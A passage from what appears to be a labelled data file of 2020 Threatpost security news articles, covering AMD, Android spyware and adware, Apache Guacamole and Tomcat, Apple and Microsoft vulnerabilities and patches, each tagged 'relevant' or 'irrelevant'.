way to store data that is shared between platform firmware and operating systems or UEFI applications. The SmmGetVariable function uses the ArgsStruct values to find the correct variable, read its data and store the data in a buffer – however, these ArgsStruct values are used directly “as is” without any validation, said Odler. Because of this lack of validation, “as a result [the] attacker achieves generic write primitive to the most protected memory, SMRAM, and from now code execution in SMM is a trivial task as already explained,” said Odler. “Code execution in SMM is a game over for all security boundaries such as SecureBoot, Hypervisor, VBS, Kernel and more.” The attacker would then be able to manipulate AMD’s microcode in the motherboard’s UEFI firmware. This microcode is labelled AMD Generic Encapsulated Software Architecture (AGESA). A full proof-of-concept video is available for the attack (below). AMD, for its part, sought to downplay the attack, saying it requires privileged physical or administrative access to a system based on select AMD notebooks or embedded processors. “If this level of access is acquired, an attacker could potentially manipulate the AMD Generic Encapsulated Software Architecture (AGESA) to execute arbitrary code undetected by the operating system,” said AMD. “AMD believes this only impacts certain client and embedded APU processors launched between 2016 and 2019. AMD has delivered the majority of the updated versions of AGESA to our motherboard partners and plans to deliver the remaining versions by the end of June 2020.” It’s only the latest AMD vulnerability. Earlier in March, researchers disclosed the “Take A Way” side channel attack that they said could leak potentially sensitivie data from AMD processors released between 2011 and 2019. “AMD recommends following the security best practice of keeping devices up-to-date with the latest patches,” said AMD. “End users with questions about whether their system is running on these latest versions should contact their motherboard or original equipment/system manufacturer.”",relevant
"Android ‘ActionSpy’ Malware Targets Turkic Minority Group Researchers warn that the Earth Empusa threat group is distributing the spyware by injecting code into fake and watering-hole pages. Researchers have discovered a new Android spyware, dubbed ActionSpy, targeting victims across Tibet, Turkey and Taiwan. The spyware is distributed either via watering-hole websites or fake websites. Researchers believe ActionSpy is being used in ongoing campaigns to target Uyghur victims. The Uyghurs, a Turkic minority ethnic group affiliated with Central and East Asia, have previously been targeted in spyware attacks. Though they first discovered the spyware in April 2020, researchers believe ActionSpy has existed for at least three years based on its certificate sign time. “ActionSpy, which may have been around since 2017, is an Android spyware that allows the attacker to collect information from the compromised devices,” said researchers with Trend Micro in a Thursday analysis. “It also has a module designed for spying on instant messages… and collecting chat logs from four different instant messaging applications.” Researchers discovered ActionSpy being spread via several pages in April 2020. How these pages were distributed in the wild – whether via phishing emails or otherwise – is also unclear, researchers said. Some of these websites were actually fake. For instance, one page replicated news pages from the World Uyghur Congress website. Others were legitimate websites that had been compromised. Researchers identified a news website and political party website in Turkey that were compromised and used in the attack, for instance, as well as on a university website and travel agency site based in Taiwan that were also compromised and used as watering-hole websites. android spywareIn these cases, the attackers injected the websites with a script to load the cross-site scripting framework BeEF. BeEF (short for The Browser Exploitation Framework) is a penetration testing tool that focuses on the web browser. Researchers say, they suspect the attacker used this framework to deliver their malicious script when a targeted victim browsed the malicious websites. In late April 2020, researchers discovered another type of website that appeared to be copied from a third-party web store and purported to invite users to download an Uyghur video app that is popular with Tibetan Android users, called Ekran. The page was injected with two scripts to load the BeEF framework, as well as the ScanBox framework. ScanBox, a framework in the form of a JavaScript file, can collect information about the visitor’s system without infecting the system. “The download link was modified to an archive file that contains an Android application,” said researchers. “Analysis then revealed that the application is an undocumented Android spyware we named ActionSpy.” ActionSpy Once downloaded, ActionSpy will connect to its Command and Control (Cs) server, which is encrypted by DES. Researchers said the decryption key is generated in native code – making static analysis of ActionSpy difficult. Then, every 30 seconds, the spyware would collect basic device information (including IMEI, phone number, manufacturer, battery status, etc.) which it sends to the C2 server. android spywareActionSpy supports an array of modules, including ones allowing it to collect device location, contact info, call logs and SMS messages. The spyware also has capabilities to make a device connect or disconnect to Wi-Fi, take photos with the camera and screenshots of the device and get chat logs from messaging apps like WhatsApp, China messaging services like QQ and WeChat, and Japanese messaging tool Viber. ActionSpy also prompts users to turn on the Android Accessibility service, using a prompt that purports to be a memory garbage cleaning service. The Accessibility Service, which has previously been leveraged by cybercriminals in Android attacks, assists users with disabilities. They run in the background and receive callbacks by the system when “AccessibilityEvents” run. Once the user enables the Accessibility service, ActionSpy will monitor such “AccessibilityEvents” on the device, giving it the ability to parse the victims’ current activity and extract information like nicknames, chat contents, and chat time. Earth Empusa Researchers believe that the websites may have been created by a threat group called Earth Empusa. This is based on the fact that one of the malicious scripts injected on the page was hosted on a domain belonging to the group. Earth Empusa, also known as POISON CARP/Evil Eye, is a threat group that’s previously been associated with cyberattacks targeting senior members of Tibetan groups. Researchers said that they found some news web pages, which appear to have been copied from Uyghur-related news sites, hosted on Earth Empusa’s server in March 2020. Researchers warn that Earth Empusa is still very active in the wild, and that they have observed the BeEf framework injections on multiple Uyghur-related sites since the start of 2020. “These developments have led us to believe that Earth Empusa is widening the scope of their targets,” researchers warn.",irrelevant
"Android Users Hit with ‘Undeletable’ Adware Researchers say that 14.8 percent of Android users who were targeted with mobile malware or adware last year were left with undeletable files. UPDATE A healthy percentage of Android users targeted by mobile malware or mobile adware last year suffered a system partition infection, making the malicious files virtually undeletable. That’s according to research from Kaspersky, which found that 14.8 percent of its users who suffered such attacks were left with undeletable files. These range from trojans that can install and run apps without the user’s knowledge, to less threatening, but nevertheless intrusive, advertising apps. “A system partition infection entails a high level of risk for the users of infected devices, as a security solution cannot access the system directories, meaning it cannot remove the malicious files,” the firm explained, in a posting on Monday. Moreover, research found that most devices harbor pre-installed default applications that are also undeletable – the number of those affected varies from 1 to 5 percent of users with low-cost devices, and reaches 27 percent in extreme cases. “Infection can happen via two paths: The threat gains root access on a device and installs adware in the system partition, or the code for displaying ads gets into the firmware of the device before it even ends up in the hands of the consumer,” according to the firm. In the latter scenario, this could lead to potentially undesired and unplanned consequences. For instance, many smartphones have functions providing remote access to the device. If abused, such a feature could lead to a data compromise of a user’s device. Unwanted and Malicious Apps Among the most common types of malware that Kaspersky has found installed in the system partition of Android smartphones are two older threats: The Lezok and Triada trojans. “The latter is notable for its ad code embedded not just anywhere, but directly in libandroid_runtime — a key library used by almost all apps on the device,” according to the analysis. However, examining victims’ system apps revealed a wide range of threats. The Agent trojan for instance is an obfuscated malware that usually hides in the app that handles the graphical interface of the system, or in the Settings utility, without which the smartphone cannot function properly. The malware delivers its payload, which in turn can download and run arbitrary files on the device. Then there’s the Sivu trojan, which is a dropper masquerading as an HTMLViewer app. “The malware consists of two modules and can use root permissions on the device,” according to Kaspersky. “The first module displays ads on top of other windows, and in notifications. The second module is a backdoor allowing remote control of the smartphone. Its capabilities include installing, uninstalling and running apps, which can be used to covertly install both legitimate and malicious apps, depending on the intruder’s goals.” The Plague adware app is another common threat that Kaspersky found installed in the system partition. It pretends to be a legitimate system service, calling itself Android Services – but in reality, it can download and install apps behind the user’s back, as well as display ads in notifications. “What’s more, Plague.f can display ads in SYSTEM_ALERT_WINDOW — a pop-up window that sits on top of all apps,” explained the researchers. The Necro.d trojan is unusual, because it’s a native library located in the system directory. Its launch mechanism is built into another system library, libandroid_servers.so, which handles the operation of Android services. “At the command of the command-and-control (C2), Necro.d can download, install, uninstall and run apps,” explained the researchers. “In addition, the developers decided to leave themselves a backdoor for executing arbitrary shell commands. On top of that, Necro.d can download Kingroot superuser rights utility — seemingly so that the OS security system does not interfere with delivering ‘very important’ content for the user.” Penguin, Facmod, Guerrilla, Virtualinst and Secretad are also often found on mobile device system partitions. As for pre-installed adware, some devices ship with an application called “AppStore,” which Kaspersky researchers said appears to be hidden adware able to load under the radar and display itself in invisible windows. This eats up data and battery power, the researchers pointed out – but the app also can download and execute third-party JavaScript code. “Our analysis demonstrates that mobile users are not only regularly attacked by adware and other threats, but their device may also be at risk even before they purchased it,” said Igor Golovin, security researcher at Kaspersky, in a media statement. “Customers don’t even suspect that they are spending their cash on a pocket-sized billboard. Some mobile device suppliers are focusing on maximizing profits through in-device advertising tools, even if those tools cause inconvenience to the device owners.” In the case of phones with pre-installed adware (Kaspersky said that Meizu devices are among the offenders), users are likely out of luck. “Unfortunately, if a user purchases a device with such pre-installed advertising, it is often impossible to remove it without risking damage to the system,” Kaspersky researcher Igor Golovin told Threatpost. “In this case, all hopes rest on enthusiasts who are busy creating alternative firmware for devices. But it’s important to understand that reflashing can void the warranty and even damage the device.” He added, “I advise users to look carefully into the model of smartphone they are looking to buy and take these risks into account. At the end of the day, it is often a choice between a cheaper device or a more user-friendly one.”",relevant
"Apache Guacamole Opens Door for Total Control of Remote Footprint Several vulnerabilities can be chained together for a full exploit. Apache Guacamole, a popular infrastructure for enabling remote working, is vulnerable to a slew of security bugs related to the Remote Desktop Protocol (RDP), researchers have warned. Admins should update their systems to avoid attacks bent on stealing information or remote code-execution. “Once in control of the gateway, an attacker can eavesdrop on all incoming sessions, record all the credentials used, and even start new sessions to control the rest of the computers within the organization,” explained Eyal Itkin, researcher from Check Point, in a posting on Thursday. “When most of the organization is working remotely, this foothold is equivalent to gaining full control over the entire organizational network.” Apache Guacamole has more than 10 million Docker downloads globally, and is also embedded into other products like Jumpserver Fortress, Quali and Fortigate. Guacamole gateways essentially secure and handle connections from users coming from outside the corporate perimeter. “In essence, an employee uses a browser to connect to his company’s internet-facing server, goes through an authentication process, and gets access to his corporate computer,” said Itkin. “While the employee only uses his browser, the Guacamole server selects one of the supported protocols (RDP, VNC, SSH, etc.) and uses an open-source client to connect to the specific corporate computer. Once connected, the Guacamole server acts as a middle-man that relays the events back and forth while translating them from the chosen protocol to the special ‘Guacamole Protocol’ and vice versa.” The vulnerabilities allow an on-network attacker to compromise a gateway, and then intercept and control all of the sessions that connect to it. “This [COVID-19-related] transition from onsite to off-premise work means that IT solutions for remotely connecting to the corporate network are now used more than ever,” Itkin added. “This also means that any security vulnerability in these solutions will have a much greater impact, as companies rely on this technology to keep their businesses functioning.” Apache Guacamole is vulnerable to several critical bugs inside its own infrastructure, along with other vulnerabilities found in FreeRDP, according to Check Point. Attack Scenarios and Bugs There are two different attack scenarios, the researcher explained: In a reverse attack, a compromised machine inside the corporate network leverages the incoming benign connection to attack the gateway, aiming to take it over. And in the malicious worker scenario, a rogue employee uses a computer inside the network to leverage his hold on both ends of the connection and take control of the gateway. To enable either of these, an exploit chain using information-disclosure bugs, a memory-corruption issue and privilege exploitation is necessary – which Check Point has demonstrated in a video. “[There is a] high probability that most companies haven’t yet upgraded to the latest versions, and could already be attacked using these known 1-Days,” Itkin warned. The flaw tracked as CVE-2020-9497 enables information disclosure. “To relay the messages between the RDP connection and the client, the developers implemented their own extension for the default RDP channels,” according to the writeup. “One such channel is responsible for the audio from the server, hence unsurprisingly called rdpsnd (RDP Sound).” By sending a malicious rdpsnd channel message, a malicious RDP server could cause the client to think that the packet contains a huge amount of bytes, which are in fact memory bytes of the client itself, Itkin added: “This in turn causes the client to send back a response to the server with these bytes, and grant the RDP server a massive, heartbleed-style, information-disclosure primitive.” Another information-disclosure bug, also covered under CVE-2020-9497, is similar, but the flaw sends the out-of-bounds data to the connected client, instead of back to the RDP server. “We were intrigued to find an additional channel, guacai, responsible for sound messages,” according to Itkin. “This channel is responsible for the audio input, hence the name guacai. Although vulnerable to roughly the same vulnerability as the previous channel, this channel is disabled by default.” The analysis also uncovered CVE-2020-9498, a memory-corruption issue allowing RCE. “The RDP protocol exposes different ‘devices’ as separate ‘channels,’ one for each device. These include the rdpsnd channel for the sound, cliprdr for the clipboard, and so on,” according to the analysis. “As an abstraction layer, the channel messages support a fragmentation that allows their messages to be up to 4GB long.” The first fragment in any message must contain the CHANNEL_FLAG_FIRST fragment, which allocates the right-sized stream (known as wStream) to accommodate the overall declared length of the total message. “However, what happens if an attacker sends a fragment without this flag? It seems that it is simply appended to the previous leftover stream,” Itkin explained. “After a fragmented message finishes the reassembly and goes on to be parsed, it is freed. And that’s it. No one sets the dangling pointer to NULL.” This means that a malicious RDP server could send an out-of-order message fragment that uses the previously freed wStream object, effectively creating a use-after-free vulnerability that can in turn be used for arbitrary read and arbitrary write exploits. “By using vulnerabilities CVE-2020-9497 and CVE-2020-9498, we managed to implement our arbitrary read and arbitrary write exploit primitives,” Itkin said. “Using these two powerful primitives, we successfully implemented an RCE exploit in which a malicious corporate computer (our RDP ‘server’) can take control of the guacd process when a remote user requests to connect to his (infected) computer.” That guacd process only handles a single connection and runs with low privileges – so Check Point looked for a path to privilege escalation that would allow the takeover for the entire gateway. After a client is successfully authenticated, the guacamole-client initiates a Guacamole Protocol session with the guacamole-server to create a matching session for the client. This is done by connecting to the guacamole-server on TCP port 4822 (by default) on which the guacd process is listening. The communication on this port uses no authentication or encryption (SSL could be enabled, but it isn’t the default). After the session is created, the guacamole-client only relays information back and forth between the guacamole-server and the client’s browser. A vulnerability in the guacd executable allows access to full memory layout – useful for bypassing Address Space Layout Randomization (ASLR) computer security – and full memory content. By using all of these weaknesses, Itkin said that Check Point researchers were able to take full control of a test Guacamole gateway, intercepting all information that flows through it. It’s worth noting that the infrastructure is also vulnerable to existing bugs in FreeRDP, a free implementation of the RDP, released under the Apache license. “In our previous research…we found several critical vulnerabilities in this RDP client which exposed it to attack from a malicious RDP ‘server,'” according to the researcher. “In other words, a malicious corporate computer can take control of an unsuspecting FreeRDP client that connects to it….By looking at the released versions of Apache Guacamole, we can see that only version 1.1.0, released at the end of January 2020, added support for the latest FreeRDP version (2.0.0). Knowing that our vulnerabilities in FreeRDP were only patched on version 2.0.0-rc4, this means that all versions that were released before January 2020 are using vulnerable versions of FreeRDP.” Apache fixed all of these issues with the release of version 1.2.02 on June 28.",relevant
"Apache Tomcat Exploit Poised to Pounce, Stealing Files Researchers said that a working exploit for CVE-2020-1938 leaked on GitHub makes is a snap to compromise webservers. A vulnerability in the popular Apache Tomcat web server is ripe for active attack, thanks to a proof-of-concept (PoC) exploit making an appearance on GitHub. The now-patched bug affects Tomcat versions 7.0, 8.5 and 9.0. According to Flashpoint analysts Cheng Lu and Steven Ouellette, an exploit for the “Ghostcat,” security bug (tracked as CVE-2020-1938 and first publicly disclosed Feb. 20) reliably allows information disclosure via file retrieval on a vulnerable server – without authentication or a user being tricked into a compromising interaction. And, in some situations, it could allow remote code execution, they said. “Due to the nature of the vulnerability, [the exploit] can be leveraged without any user interactions and with high reliability, with low chance of causing the vulnerable server to crash,” explained the researchers, in a posting on Friday. The duo said they’ve confirmed that the PoC works. The Bug The Apache Tomcat open-source web server supports various JavaScript-based technologies, including the Apache JServ Protocol (AJP) interface, which is where the vulnerability resides. The AJP binary protocol – in essence a connector – allows the Tomcat servlet container, which is called Catalina, to communicate out to web applications to support extended functionalities for websites. “The AJP connector handles inbound requests [from applications] and passes to Catalina,” wrote Lu and Ouellette. “Catalina then passes the request to the proper web application and receives the dynamically generated content. This content is then sent back over the network by the AJP connector as the response to the request.” This connector is “highly trusted…and should not be exposed over an untrusted network, as it may be leveraged to gain complete access to the application server,” the researchers warned, adding that it “is expected to be exposed only internally.” However, in a default Tomcat installation on Windows 10, Tomcat’s AJP port, on 8009, is exposed – allowing outside users to interact with and gain access to the Tomcat server itself. The PoC exploit demonstrates how this state of affairs can be used to expose files. The PoC code, written in Python, is capable of creating and sending an AJP request to a specified IP address, with a valid file path and name that the attacker would like to receive. A vulnerable server will return the file as a stream back to the PoC code, displaying it on the attacker’s screen. Where the requested file is not a plain text file, the output stream can be saved and opened with an appropriate application. “Through the AJP connector, an attacker can retrieve arbitrary files from Tomcat’s web root, including the files residing within the ‘WEB-INF’ and ‘META-INF’ directories through the ServletContext.getResourceAsStream() function,” according to the Flashpoint posting. “Additionally, arbitrary files within the web application on the vulnerable Tomcat server can be processed as a JSP page through the AJP connector.” Remote Code Execution The bug does open the door to RCE, according to the researchers. If a vulnerable Tomcat server also allows file uploads (not the default setting, by the way), an attacker could upload their own code via the AJP connector. However, there’s a big catch. To accomplish RCE, an attacker would need to find a web application that accepts file uploads that is running on a vulnerable Tomcat server. Attackers can’t themselves simply change the server settings to allow file uploads. “The file-upload requirement can only be implemented by the web application developer, rather than the attacker,” according to the analysis. “For this reason, only a portion of the vulnerable Tomcat servers may suffer the code-execution impact from this vulnerability.” Further, the publicly available PoC code doesn’t support execution of files on a vulnerable server even with the prerequisites in place. “However, such capability can be implemented on the basis of the PoC code with relative ease,” the researchers warned. Mitigation Web admins should update their Apache Tomcat instances to version 8.5.51 to avoid becoming victims; or, if they don’t make use of AJP connectors, they can simply disable them. Lu and Ouelette noted. “Users can also consider exposing the connector only in the trusted network segment, rather than exposing it to the entire network, to reduce attack surface,” they added. Otherwise, the barrier to exploitation is very low—so businesses should brace for attacks. “Publicly available PoC and exploit code make the exploitation of this vulnerability more accessible to threat actors of all skill levels. The mass scan activities could identify internet-facing instances of Tomcat susceptible to attacks. Therefore, Flashpoint analysts assess with moderate confidence that this vulnerability may see active exploitation attempts in the coming days in a more targeted fashion.”",relevant
"Apple Security Updates Tackle iOS Device Tracking, RCE Flaws Apple’s iOS 13.3.1 update includes a host of security patches and a way to turn off U1 Ultra Wideband tracking. Apple’s latest security fixes, released Tuesday, tackle a wide range of bugs, including several patches for high-risk flaws that could allow for remote code execution (RCE). Of particular interest to privacy-minded iPhone 11 users is an iOS 13.3.1 update that allows users to turn off U1 Ultra-Wideband device tracking. The fixes address vulnerabilities in Apple’s Xcode, watchOS, Safari, iTunes for Windows, iOS, iPadOS, macOS and tvOS. The most severe of the bugs include four RCE flaws in Apple TV’s operating system, tvOS – each rated high-severity. Tracked as CVE-2020-3868, one tvOS RCE bug has a CVSS severity score of 8.8 out of 10, the highest among those patched Tuesday. The bug is tied to multiple memory corruption issues in Apple’s browser engine, WebKit. “By persuading a victim to visit a specially crafted website, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service,” according a description of the flaw. The other tvOS code execution bugs (CVE-2020-3840, CVE-2020-3870, CVE-2020-3878) all have a CVSS rating of 7.8. Two of the RCE vulnerabilities are tied to Imageio Python libraries tvOS, and the other is tied to Apple’s use of the secure network protocol suite IPSec. Off Switch for Tracking via U1 Ultra Wideband Last December, KrebsOnSecurity first reported a tracking mechanism in the iPhone 11 family of handsets. The tracking took place whether or not an iPhone 11 user turned off the handset’s location services. After some sleuthing by the site’s author, Brian Krebs, he determined the tracking feature was tied to the use of Apple’s own U1 chip, which was introduced in 2019 and used for the first time in iPhone 11S. The U1 chips uses Ultra-Wideband technology and aims to improve the performance of Apple services such as AirDrop. The U1 goes so far as to provide precise location and spatial awareness of the iPhone 11’s position relative to other Apple devices in the same room. This allows someone to point their iPhone 11 at another iPhone 11 and have that device automatically show up at the top of the AirDrop list for transferring files – no manual discovery needed. Users voiced concerns that the new chip allowed for tracking iPhone 11 users’ locations. To address the issue, Apple has now added a switch to disable location tracking for networking and wireless functions. With the release of iOS 13.3.1, users can now turn off the tracking feature, either when turning off location services or selectively. To turn it off, users can go to Settings > Privacy > Location Services > System Services. Tuesday’s security updates come on the heels of several staggered iOS 13 updates. In their wake, Apple has faced criticism for what critics see as a piecemeal release of the OS. Last month Apple updated the OS to iOS 13.3, which marked the third update to the iOS and iPadOS 13 since it debuted in on Sept. 19. Since iOS 13’s release, Apple has also had to issue a number of security patches, including ones for a keyboard bug and a lock-screen bypass flaw.",relevant
"Apple Safari Flaws Enable One-Click Webcam Access The white hat hacker who discovered the vulnerabilities received a $75,000 from Apple’s bug-bounty program. A security researcher has disclosed vulnerabilities in Apple’s Safari browser that can be used to snoop on iPhones, iPads and Mac computers using their microphones and cameras. To exploit the flaws in a real-world attack, all an attacker would need to do is convince a victim to click one malicious link. Security researcher Ryan Pickren has revealed details on seven flaws in Safari, including three that could be used in a kill chain to access victims’ webcams. The vulnerabilities were previously submitted to Apple via its bug-bounty program and have been patched – however, technical details of the flaws, including a proof of concept (PoC) attack, were kept under wraps until Pickren’s recent disclosure. “Imagine you are on a popular website when all of a sudden an ad banner hijacks your camera and microphone to spy on you. That is exactly what this vulnerability would have allowed,” said Pickren, in an analysis of the vulnerabilities last week. ​”This vulnerability allowed malicious websites to masquerade as trusted websites when viewed on the desktop version of Safari (like on Mac computers) or mobile Safari (like on iPhones or iPads).” While normally each app must be explicitly granted permissions by users to access devices’ cameras and microphones, Apple’s own apps do not require them, including Safari. Furthermore, new web technologies, including the MediaDevices Web API (an interface providing access to connected media input devices like cameras and microphones, as well as screen sharing), allow certain websites to utilize Safari’s permissions to access the camera directly. Pickren said that this feature is “great for web-based video-conferencing apps such as Skype or Zoom. But… this new web-based camera tech undermines the OS’s native-camera security model.” With these issues in mind, Pickren discovered three vulnerabilities in the macOS and iOS versions of Safari 13.0.4 (CVE-2020-3885, CVE-2020-3887, CVE-2020-9784), which eventually allowed him access to the webcam sans victim permission. attack chain Click to Enlarge: Diagram of the attack. Credit: Ryan Pickren Specifically, the flaws stem from a perfect storm of small errors in how Safari parses Uniform Resource Identifiers (including URLs/web addresses); manages web origins (origins are defined by the protocol and web domain used) and ports; and initializes secure contexts (a secure context is a window where content has been delivered securely via HTTPS/TLS). An attacker could take advantage of these errors by creating a specially crafted URL that would utilize scripts embedded in a malicious site. The URL would be able to trick Safari into thinking an attacker-controlled website is in the “secure context” of a trusted website, such as Zoom or Skype. Safari would then give the attackers behind the link untethered permission to access the webcam via the MediaDevices Web API. “If a malicious website strung these issues together, it could use JavaScript to directly access the victim’s webcam without asking for permission,” he said in a technical walk through of the attack. “Any JavaScript code with the ability to create a popup (such as a standalone website, embedded ad banner, or browser extension) could launch this attack.” Once a user clicks on those website URLs, ad banners or extensions, the permissions to access their camera and microphone would be automatically granted to attackers. Pickren said that he reported the seven flaws (CVE-2020-3852, CVE-2020-3864, CVE-2020-3865, CVE-2020-3885, CVE-2020-3887, CVE-2020-9784, and CVE-2020-9787) in December 2019 to Apple as part of their bug-bounty program (which was made public to the research community in December) – winning the researcher $75,000. The top reward in the “Network Attack without User Interaction: Zero-Click Unauthorized Access to Sensitive Data” category, in which Pickren submitted his findings, is $500,000. Apple patched the webcam vulnerabilities in a January 28 update (for Safari version 13.0.5) and the remaining four flaws were patched in March. Threatpost has reached out to Apple for further comment. The disclosure comes on the heels of a separate report last week of two Zoom zero-day flaws in the macOS client version of the web conferencing platform. The Zoom vulnerabilities could give local, unprivileged attackers root privileges, and allow them to access victims’ microphone and camera.",relevant
"Apple Unpatched VPN Bypass Bug Impacts iOS 13, Warn Researchers The vulnerability can be exploited to reveal limited traffic data including a device’s IP address. An unpatched bug in the latest version of Apple’s iOS is blocking virtual private network (VPN) applications from cloaking some private data transmitted between a device and the servers they are requesting data from. While the bug remains unpatched, Apple is suggesting steps users can take to reduce risk, researchers state. The bug, outlined in a report by ProtonVPN, impacts Apple’s most recent iOS 13.4. The flaw is tied to the way VPN security software loads on iOS devices. Post launch, VPN software is supposed to terminates all internet traffic and reestablishes connections as encrypted and protected. Researchers said the Apple VPN bypass bug in iOS fails to terminate all existing connections and leaves a limited amount of data unprotected, such as a device’s IP address, exposing it for a limited window of time. “Most connections are short-lived and will eventually be re-established through the VPN tunnel on their own. However, some are long-lasting and can remain open for minutes to hours outside the VPN tunnel,” researchers explained in a technical analysis of the flaw. The bug remains unpatched at a critical time when many are using VPNs under work-at-home and stay-at-home restrictions imposed due to the Covid-19 pandemic. “An attacker could see the users’ IP address and the IP address of the servers they’re connecting to,” according to the post. “Additionally, the server you connect to would be able to see your true IP address rather than that of the VPN server.” According to researchers, Apple said users can enable Always-on VPN to mitigate the issue, a method that requires using device management, according to a post by the company. This means it doesn’t mitigate the issue for third-party VPNs people might be using with their devices, however, researchers said. To be clear, the flaw’s impact is limited. iOS apps are required to use App Transport Security which protect transmitted data via HTTPS. That said, researchers warn the VPN bypass bug’s biggest threat is potentially revealing a device’s IP address. That data, associated with internet usage, can allow a third party to collect user metadata. A user’s long tail of digital metadata can be used to exploit them or give overbearing governments insights into otherwise private internet activities. Researchers add, the bug can also unpredictably impact other iOS communications. “One prominent example is Apple’s push notification service, which maintains a long-running connection between the device and Apple’s servers. But the problem could impact any app or service, such as instant messaging applications or web beacons,” researchers wrote. Typically Proton would wait 90 days before exposing a flaw in third-party software through its responsible disclosure program. However, researchers thought it prudent to make an exception in this case and alert its own VPN users to the vulnerability. Apple this week already released a slew of patches in a security update across its iOS and macOS systems as well as for its Safari browser, watchOS, tvOS and iTunes. However, a patch for the VPN bypass flaw was not one of them, though the company did repair a serious flaw in the WebKit for iOS and Safari that could enable remote code execution. In the meantime, ProtonVPN offered some practical advice for mitigating the iOS VPN bypass vulnerability while it remains unpatched. One option for users is to connect to their third-party VPN, turn on airplane mode to kill all Internet connections and temporarily disconnect the VPN, and then turn it off again. This should allow for VPN reconnection as well as other connections to come back online through the VPN tunnel, according to the post. However, ProtonVPN researchers acknowledged that “we cannot guarantee this 100 percent.”",relevant
"April Patch Tuesday: Microsoft Battles 4 Bugs Under Active Exploit Microsoft issued 113 patches in a big update, unfortunately for IT staff already straining under WFH security concerns. Microsoft has released its April 2020 Patch Tuesday security updates, its first big patch update released since the work-from-home era truly got underway. It’s a doozie, with the tech giant disclosing 113 vulnerabilities. Out of these, 19 are rated as critical, and 94 are rated as important. Crucially, four of the vulnerabilities are being exploited in the wild; and two of them were previously publicly disclosed. In all, the update includes patches for Microsoft Windows, Microsoft Edge (EdgeHTML-based and the Chromium-based versions), ChakraCore, Internet Explorer, Microsoft Office and Microsoft Office Services and Web Apps, Windows Defender, Visual Studio, Microsoft Dynamics, and Microsoft Apps for Android and Mac. They run the gamut from information disclosure and privilege escalation to remote code execution (RCE) and cross-site scripting (XSS). Microsoft has seen a 44 percent increase year-over-year in the number of CVEs patched between January to April, according to Trend Micro’s Zero Day Initiative (ZDI) – a likely result of an increasing number of researchers looking for bugs and an expanding portfolio of supported products. In March, Patch Tuesday contained 115 updates; in February, Microsoft patched 99 bugs; and in January, it tackled 50 flaws. Also for this week, Oracle patched a whopping 405 security vulnerabilities – while on the other end of the spectrum, Adobe went light, with only five CVEs addressed for April. Bugs Under Active Exploit On the zero-day front, Microsoft patched CVE-2020-0968, a critical-level memory-corruption vulnerability in Internet Explorer that was exploited in the wild. The bug allows RCE, and exists due to the improper handling of objects in memory by the scripting engine. “There are multiple scenarios in which this vulnerability could be exploited,” Satnam Narang, principal research engineer at Tenable, told Threatpost. “The primary way would be to socially engineer a user into visiting a website containing the malicious code, whether owned by the attacker, or a compromised website with the malicious code injected into it. An attacker could also socially engineer the user into opening a malicious Microsoft Office document that embeds the malicious code.” Chris Hass, director of information security and research for Automox, told Threatpost that CVE-2020-0968 is a perfect vulnerability for use for drive-by compromise. “If the current user is logged in as admin, an attacker could host a specially crafted website, hosting this vulnerability, once the unpatched user navigates the malicious site, the attacker could then exploit this bug, allowing the attacker to gain remote access the host,” he explained. “This bug would allow the attacker to view, change, delete data or even install ransomware.” Although the scope of this vulnerability is somewhat limited because IE has seen a steady decline in user-base, it still remains an attractive vector for cybercriminals, Hass added. Meanwhile, two of the actively exploited bugs are important-rated RCE issues related to the Windows Adobe Type Manager Library. The first, CVE-2020-1020, was already made public. It arises because the library improperly handles a specially-crafted multi-master font, the Adobe Type 1 PostScript format. “Attackers can use this vulnerability to execute their code on affected systems if they can convince a user to view a specially crafted font,” according to Dustin Childs, with ZDI, in a Patch Tuesday analysis. “The code would run at the level of the logged-on user.” The related bug is the zero-day CVE-2020-0938, an RCE vulnerability that impacts an OpenType font renderer within Windows. Again, an attacker could execute code on a target system if a user viewed a specially crafted font. Though the two are related, “there is currently no confirmation that the two are related to the same set of in-the-wild attacks,” Narang told Threatpost. As for attack vector, “to exploit these flaws, an attacker would need to socially engineer a user into opening a malicious document or viewing the document in the Windows Preview pane,” he added. Both of these bugs have been used for Windows 7 systems – and Childs noted that not all Windows 7 systems will receive a patch since the OS left support in January of this year. The final actively exploited bug – also not previously publicly disclosed – is CVE-2020-1027, which exists in the way that the Windows Kernel handles objects in memory. “An attacker who successfully exploited the vulnerability could execute code with elevated permissions,” according to Microsoft, which labeled the flaw “important.” To exploit the vulnerability, a locally authenticated attacker would need to run a specially crafted application. Other Priority Patches Microsoft also patched several notable other bugs that researchers said admins should prioritize in the large update. CVE-2020-0935 is the second previously disclosed issue, an important-rated privilege-elevation vulnerability found in OneDrive for Windows. It exists due to improper handling of symbolic links (shortcut links), and exploitation would allow an attacker to further compromise systems, execute additional payloads that may need higher privileges to be effective, or gain access to personal or confidential information that was not available previously. “An attacker that has gained access to an endpoint could use OneDrive to overwrite a targeted file, leading to an elevated status,” Hass told Threatpost. “OneDrive is extremely popular and often installed by default on Windows 10. When you combine this with remote work, and the ever-growing use of personal devices for remote work, it makes the potential scope for this vulnerability pretty high.” ZDI’s Childs also flagged an important-rated Windows DNS denial-of-service (DoS) bug, CVE-2020-0993, which affects client systems. “An attacker could cause the DNS service to be nonresponsive by sending some specially crafted DNS queries to an affected system,” Childs wrote. “Considering the damage that could be done by an unauthenticated attacker, this should be high on your test and deploy list.” Another, CVE-2020-0981, is an important-rated Windows token security feature bypass vulnerability that comes from Windows improperly handling token relationships in Windows 10 version 1903 and higher. “It’s not often you see a security feature bypass directly result in a sandbox escape, but that’s exactly what this bug allows,” Childs explained. “Attackers could abuse this to allow an application with a certain integrity level to execute code at a different – presumably higher – integrity level.” Critical SharePoint Bugs SharePoint, a web-based collaborative platform that integrates with Microsoft Office, is often used as a document management and storage system. The platform saw its share of critical problems this month, including four critical RCE bugs, which arise from the fact that the software does not check the source markup of an application package, according to Microsoft’s advisory. The bug tracked as CVE-2020-0929 paves the way for RCE and affects Microsoft SharePoint Enterprise Server 2016, Microsoft SharePoint Foundation 2010 Service Pack 2, Microsoft SharePoint Foundation 2013 Service Pack 1 and Microsoft SharePoint Server 2019. A second critical bug (CVE-2020-0931) also would allow RCE; it affects Microsoft Business Productivity Servers 2010 Service Pack 2, Microsoft SharePoint Enterprise Server 2013 Service Pack 1, Microsoft SharePoint Enterprise Server 2016, Microsoft SharePoint Foundation 2013 Service Pack 1, and Microsoft SharePoint Server 2019. Yet another RCE problem (CVE-2020-0932) impacts Microsoft SharePoint Enterprise Server 2016, Microsoft SharePoint Foundation 2013 Service Pack 1 and 